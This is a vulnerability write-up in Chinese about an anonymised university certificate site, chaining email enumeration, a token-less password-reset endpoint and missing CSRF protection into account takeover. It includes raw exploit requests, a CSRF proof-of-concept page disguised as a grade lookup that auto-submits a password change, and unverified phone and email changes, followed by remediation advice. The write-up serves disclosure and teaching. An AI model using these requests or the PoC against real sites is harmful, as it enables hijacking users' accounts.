一次高危账号接管漏洞挖掘记录:CSRF 配合业务逻辑缺陷

说明:本文已经对目标进行匿名化处理,所有域名、机构名称、用户信息均做替换,仅保留漏洞技术逻辑用于学习研究。

背景与起因

在做站点资产浏览测试的时候,我注意到证书服务系统的学生相关接口。 最开始只是看忘记密码相关功能,顺着接口一路往下跟进,发现了一组业务逻辑和安全防护同时缺失的问题,多个缺陷可以串联起来,最终实现任意账号接管。

测试环境

  • 浏览器:Edge

  • 抓包工具:Burp Suite

  • 测试对象:某高校证书业务站点

漏洞发现

整个问题由三处独立缺陷组合而成:

  1. 密码重置接口不需要重置 Token,仅传入邮箱、用户名、新密码就可以直接修改密码,不校验旧密码,也不需要邮件验证码。

  2. 接口完全缺少 CSRF 防护,没有 CSRF‑Token,Cookie 未配置 SameSite,也不校验 Origin/Referer 请求头。

  3. 忘记密码接口存在邮箱枚举,有效邮箱与无效邮箱返回状态码不一致。

除此之外,还发现个人信息修改接口同样存在防护缺失,无需二次校验就可以直接修改绑定手机号、邮箱。

复现过程

第一步:枚举系统内有效邮箱

接口地址:/rest/student/forget.jsonx

POST 请求数据包:

POST /rest/student/forget.jsonx HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=****
Sec-Ch-Ua: "Microsoft Edge";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

email=test@qq.com&rnd=0.123
  • 传入存在的邮箱,接口返回200状态码

    image-20261102144340998
  • 传入不存在的邮箱,接口返回500状态码

    image-20261102144434395

依靠这个返回差异,就可以批量枚举站点已注册的邮箱账号。

第二步:确认 CSRF 防护缺失

查看接口返回的 Cookie 相关响应头:

HTTP/1.1 200
Set-Cookie: JSESSIONID=****;Secure;HttpOnly;
X-Frame-Options: SAMEORIGIN

也就是说,只要受害者浏览器存在该站点有效 Session,跨域页面就可以携带 Cookie 发起请求调用业务接口。

第三步:构造 CSRF POC 接管账号

密码重置接口:/rest/student/rebuild.jsonx

POC 页面 HTML:

<!DOCTYPE html>
<html>
<head><title>成绩查询</title></head>
<body>
  <h3>正在加载成绩信息,请稍候...</h3>
    <form action="https://target.example.com/rest/student/rebuild.jsonx" method="POST" id="csrf">
      <input type="hidden" name="email" value="test&#64;qq&#46;com" />
      <input type="hidden" name="yhm" value="testuser" />
      <input type="hidden" name="newdlmm" value="035876" />
      <input type="hidden" name="rnd" value="0&#46;123" />
      <input type="submit" value="Submit request" />
    </form>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>

将 HTML 保存到本地,在已经登录目标站点的浏览器打开页面,表单会自动提交。提交完成后,对应账号密码就被直接修改成 Payload 中指定的值。

image-20261102145239782

修改完成后,可以直接使用新密码登录账号,验证接管效果。

image-20261102145339138

也可以直接使用 Burp 发送数据包完成密码重置,不需要其他验证:

POST /rest/student/rebuild.jsonx HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=****
Sec-Ch-Ua: "Microsoft Edge";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

email=test@qq.com&yhm=testuser&newdlmm=Hacker123!&rnd=0.123

完整攻击流程

  1. 攻击者调用forget.jsonx枚举得到受害者有效邮箱,再获取对应的用户名。

  2. 构造上面的 CSRF 恶意页面,填入受害者邮箱、用户名,设置攻击者可控的新密码。

  3. 将恶意页面链接发给受害者。

  4. 受害者浏览器已经登录目标站点,点击链接后表单自动提交。

  5. 后端直接重置账号密码。

  6. 攻击者使用新密码登录完成账号接管。

附属问题:个人信息修改接口无二次校验

接口 /rest/student/editSome.json 是个人信息通用修改接口,依靠type参数区分修改项。 其中type=phone修改手机号、type=email修改邮箱,不需要短信、邮箱验证码确认,接口只校验登录 Session。

该接口同样缺少 CSRF 防护,存在两种利用场景:

  • 结合 CSRF,诱导已登录用户访问恶意页面,自动篡改绑定手机号、邮箱。

  • 已登录的普通用户,可以随意篡改自己账号的联系信息,绕过业务实名认证逻辑。

修改手机号示例请求

POST /rest/student/editSome.json HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=****
Content-Type: application/x-www-form-urlencoded

value=13800000000&type=phone&rnd=0.123

响应:

{"code":200,"msg":null,"ext":null}

修改邮箱示例请求

POST /rest/student/editSome.json HTTP/1.1
Host: target.example.com
Cookie: JSESSIONID=****
Content-Type: application/x-www-form-urlencoded

value=test@test.com&type=email&rnd=0.456

响应:

{"code":200,"msg":null,"ext":null}

测试完成之后需要恢复原有手机号与邮箱,避免对业务账号造成影响。

简单源码分析

前端页面中doChangePhone()函数虽然有弹窗交互逻辑,但这仅仅是前端限制。 直接调用后端 API 就可以完全绕过弹窗。 服务端代码没有针对修改手机号、邮箱做二次身份校验,拿到 Session 就直接更新数据库记录。

// 正常页面交互逻辑
function doChangePhone() {
    // ...弹窗交互逻辑...
    data: {"value":value,"type":"phone","rnd":Math.random()},
    // ...
}

影响分析

  1. 攻击者可以诱导用户访问页面,在用户无感知的情况下重置账号密码,接管业务账号。

  2. 邮箱枚举接口会泄露系统内部已注册账号清单,为后续攻击提供基础数据。

  3. 个人信息接口可以篡改账号绑定的手机号、邮箱,破坏账号找回、身份校验等业务逻辑。

修复建议

密码重置接口 rebuild.jsonx

  • 必须引入时效性重置 Token 流程,重置密码只能通过邮件发送的带 Token 链接完成,不能直接靠参数重置密码。

全量状态变更接口

  • 所有会修改数据的接口增加 CSRF-Token 校验。

  • Cookie 配置SameSite=Strict或者SameSite=Lax属性。

  • 增加 Referer/Origin 请求头白名单校验作为辅助防护。

邮箱枚举接口 forget.jsonx

  • 统一返回模糊提示:“如该邮箱已注册,重置邮件已发送”,消除状态码差异,防止账号枚举。

个人信息修改 editSome.json

  • 修改手机号:向旧手机号发送短信验证码,校验通过之后才允许更新。

  • 修改邮箱:向旧邮箱发送确认链接;变更完成前还要对新邮箱做有效性验证。

  • 关键敏感信息变更,增加账号密码二次确认。

经验总结

这一类高危漏洞往往不是单一问题导致。 这次的问题,CSRF 本身不算特别罕见,但搭配上业务逻辑缺陷 —— 重置密码不需要 Token、改绑定信息不需要验证码,漏洞危害直接被放大到账号接管。 很多开发会把校验逻辑写在前端页面,认为弹窗就足够安全,忽略了攻击者可以直接调用后端接口绕过前端限制。 在做测试的时候,遇到密码重置、绑定手机邮箱这类高危业务点,要多抓包看看接口实际校验逻辑,不要只看页面交互。